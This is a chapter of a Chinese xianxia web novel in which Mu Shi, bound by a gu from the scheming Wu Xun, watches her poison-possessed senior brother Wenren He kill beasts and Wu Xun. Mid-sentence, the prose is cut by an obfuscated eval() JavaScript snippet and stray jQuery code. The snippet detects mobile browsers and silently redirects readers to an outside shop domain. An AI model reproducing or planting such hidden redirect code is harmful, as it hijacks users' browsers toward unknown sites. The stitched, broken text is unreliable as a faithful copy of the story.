忽而下起了淅淅沥沥的小雨,冰凉的雨水打在脸上,慕时惊醒。
她反过来拽着巫洵往前,“去救他,你去救他呀!”
“我如何救得了他?”巫洵为难,“那是青虎兽,我们都救不了他!”
“别装了!”
慕时揪上他的衣领,“你不是可以号令这山间百兽吗?不是可以驱使他们为你做事吗?你快它们把我师兄吐出来!”
巫洵眸色晦暗,眼前的人越急迫,他就越冷静,“那是堪比神游强者的青虎兽,我若能号令它们,岂不是已经统领天下了?”
“你信不信我杀了你!”
慕时摁下他肩胛上的伤口,可他眸若寒潭,深不可测,没有半点惊惧。
“你不能杀我。”他镇定道。
下一刻,如白蚁啃食般的疼痛自肩胛蔓延,迅速遍布全身。
巫洵抿唇忍耐,一声未吭,但蚀骨的疼痛他抵御不住,双膝发软跪倒在地,额头渗细密的汗水。
“我如何不能杀你?”
从前觉得他是谦谦君子,如今他在眼前模样依旧,慕时却觉得他面目可怖。
巫洵掌心握紧,用力到青筋暴起。他仰着头,似是努力想要挤出笑容,但没有成功。
他声音沙哑,“杀我、死的会是、你。”
此话一出,慕时顿觉手背刺疼。她低头望去,只见手背的皮肤下似有小虫子蠕动。
“你何时对我种了蛊?”她扬声质问。
巫洵扯动嘴角,“你的戒心、比我想的要重。在天牢、在我的房间,我都试过,可是都没有成功。但是……只要他在身边,你的警惕心就会下降许多,故而、我得手了。”
他昂着脖颈,忍耐着痛苦的同时,眉宇间显露几分得意之色,“我告诉过、你的。同心蛊,你不仅、不能杀我,如若不想死,还得跟我……”
他没把话说完,相信慕时会记得。
“卑鄙。”慕时咒骂的同时尝试着自救,以气凝针扎入自己体内。
巫洵看着她做无用功,摇了摇头,“我对你,还不好吗?喜欢我,很难吗?”
“谁会喜欢你这种恶心的东西。”
巫洵神色一僵,忽而冷笑,“其实我也没有多喜欢你。”
他目露阴狠,“明明我才是世家之子,是所有人里血脉最纯正,最有天赋的人。你、还有那些与我同姓的蛀虫、杂碎,凭何对我吆五喝六,颐指气使?”
“我就是想要看你不得不低头,侍奉于我。就像那些杂碎,迟早有一天要跪倒在我脚底下,臣服于我。”
“别挣扎了,能帮你杀我的人已经死了,你已经没有选择了。”
慕时愣住,他死了?
“我不信。”
她不信师兄就这么死了,也不信这蛊没有其他的办法可以解。
“不信又如……”
“砰!”
巫洵的话还没说完,就被她一脚踹翻。他滚进溪流,浑身湿透,还溅上一脸的水。
再次睁眼,面前居高临下看着他的慕时神色冷漠,眸眼成绿。
“你……”巫洵愕然。
慕时绿色的眼睛妖冶而美丽,有着令人向往的神秘感,又有叫人不寒而栗的危险。
“你……”巫洵面带迷茫。
慕时沉默着,通过他的眼睛,窥见他的记忆,可以得见他的一生。
巫家嫡系唯一血脉,本该是尊贵无比。
可惜父无建树,家主之位早已易主,担上嫡系血脉的名头,反而在族中成为众矢之的,人人明里暗里地欺负着。
幸而自己争气,天资卓绝,被堂兄玩闹中推进沉渊之底,不仅没死,还意外驯服百兽,操纵他们为己用。
意图谋杀他的堂兄被他扔进野兽堆,他就坐在溪流边喝着酒,欣赏着堂兄被一点一点分食。
这样凶狠的人,也能装出一副纯良模样,不着痕迹地讨好长兄,获取信任,得到一次次名正言顺离开巫家的机会,在外建立独属于自己的势力。
这些都不是慕时关心的,她所一直好奇的,巫洵对她们师门四个小动作不断的纵容是为哪何。
为一出螳螂捕蝉,黄雀在后。
利用她们为师姐解蛊杀死巫家长子巫燕,他的人手暗中推波助澜,必定引起巫家大乱。彼时浑水摸鱼,杀掉那些妨碍他的人,他再出面把她们当罪魁祸首捕获,顺理成章掌控巫家大权。
在此之前,过境沉渊蝙蝠围攻是他一手策划,为与她朝夕相处后将她占为己有,想要她真的成为他的房中侍妾。
师兄实力莫测,亦可以她为诱饵,引其主动下沉渊,提前做掉这个不确定因素,确保大婚之乱万无一失。
不成想他亲自出手都不能轻易围杀师兄,便又另生一计。他的确不能驱使强大的青虎兽,但知道它们的存在,可以命令其它野兽将它们引出,借刀杀人。
慕时踩在巫洵胸前,寻找解蛊之法。
竟当真只有两个,要么肌肤之亲,要么杀死蛊主。而受蛊者本人杀死蛊主,死的会是受蛊者本人。
“混蛋!”
挨了一脚,巫洵不恼反笑,“难怪你有如此高超的治愈之术,难怪一出手就可赔偿半座城池,我早该想到,你是越家人。”
“天眼,你们越家竟真的有天眼觉醒!”
“如何?我说了你没得选择,现在可死心了?”
慕时咬紧后槽牙,“我不会让你得逞的。”
“那你想如何?”巫洵笑着反问,“你能如何?”
“轰!”
凶兽的嘶吼似要震破天际。
“轰!”
痛苦的鸣叫震慑人心。
慕时抬头望去,吞下师兄的母青虎兽暴躁地扭动身躯,似心口燃烧着熊熊烈火无法熄灭,不惜自残以图平静。
吼叫一声一声的传出,百里之内的野兽闻之瑟瑟发抖。
巫洵从她脚下挣脱,踉踉跄跄站起来,困惑不已。
“嘭!”
母青虎兽肚皮鼓起,忽的爆炸。
突如其来的震波将他们推倒,慕时跌入溪水中,巫洵撞到岩石上,附近的野兽仓皇而逃。
浑身的骨头碎裂,慕时爬起都艰难,更不用说运转灵力给自己疗伤。
变故还没有结束,母青虎兽尸碎飘零,留下一团黑雾悬空,其中藏着模糊的人影。公青虎兽咆哮出声,带着浓浓的恨意,朝黑雾撞去。
雨停狂风起,吹散大雾,竟真有人静立其中。
慕时窥其背影熟悉又陌生,清瘦修长的身影,白发微扬。
他抬起手,裸露的肌肤瓷白,附有流动的黑纹。
青虎兽冲至他身前,只剩咫尺距离时再无法前进半步,一股看不见的力量将它阻挡。
他张开的掌心正对凶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340831|134616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
兽头盖骨,缓缓合上,凶兽头骨立刻外溢金光。
随着青虎兽一声恐怖的嚎叫,它的头骨碎裂,庞大的身躯炸开,满地血肉,腥臭飘远。
“那是什么?”巫洵半跪在地上,声音喑哑。
慕时不确定,那好像……是师兄。
随意捏碎青虎兽的人转过身来,他的脸如他的手,没有血色的白,加上流动的黑纹,显露出诡异的美。
“师兄……”慕时惊愕。
那是闻人鹤,但不全是,是体内之毒全部爆发的闻人鹤。
他的眸眼无波,似死物般了无生气。他的身体移动,像被人操纵的木偶。
慕时吐出口中瘀血,求生的意志促使她爬起来,躲到岩石后。
巫洵见状,想要效仿,不料缓慢移动的闻人鹤瞬间闪至他眼前,掐着他的脖子将他整个人举起来。
“咳……咳,闻……闻人鹤!”
巫洵试图扒开他的手,他的手不仅如千斤铁,还滚烫如烈火。
慕时后背发凉,蜷缩身体,不敢出声,不敢挪动。
巫洵的脸涨红,不知是被烘烤,还是因为呼吸不畅。他朝慕时所在之处看去,目光似在求救。
闻人鹤顺着他的视线看去,慕时连忙撤回偷看的视线。
她比谁都清楚,此刻的闻人鹤不是闻人鹤,何止六亲不认,简直不通人性。
不知过了多久,慕时抱着自己湿透后疲软又冰凉的身体,在一道“咔嚓”声后,再没听到岩石后有任何动静。
她料想巫洵凶多吉少,不知“闻人鹤”还在不在。
又在忐忑中挨了半刻钟,慕时壮着胆子,僵硬地转动身躯,从岩石后露出半个眼睛。
“啊!”
她惶恐惊叫,几步外的巫洵被拧断了脖子,死不瞑目地睁大了眼睛,躺在地上。
而闻人鹤,就站在她身侧,垂眸注视着她。
他没有表情,更没有情绪,杀戮于他像是随手摘下一片叶。
他不会畏惧,更不会怜惜。
慕时狼狈后挪,抬起手,用粉衣的针指着他。
但迟迟没有射出去。
连青虎兽的进攻都没用,她这一针大概也是徒劳。
万一有用……纵然他没有神智,可那具躯体,是师兄的。她这一针若是奏效,那等同于,她亲手杀了师兄。
“唔……”
不等她决断,“闻人鹤”已经掐上她的脖颈,将她拎起。
“师兄……”
他听不见,或者说,听不懂。
慕时身体无力,而他手心的力道和温度都在持续上升。
要死在这了吗?死在他手里。
他还会醒来吗?醒来会愧疚和痛苦吗?
慕时的脑海里闪过无数念头,最后只剩下一个。
不,她不能死。
绿瞳似鬼,她看到了师兄的命门,在脖颈。
闻人鹤将要拧断她脖颈的瞬间,她聚拢身体里所剩无几的灵力,以发间金簪为针,朝他扎去。
“锵!”
“嘭!”
凤鸣之后,他们双双倒地。
第三次,昏迷前的慕时想,这是她第三次被钟离砚所救。
雨又开始下了,冰凉的雨滴打在气息薄弱的躯体上。
危险的气息散去,觅食的妖兽嗅到了猎物的芬芳,纷纷靠拢。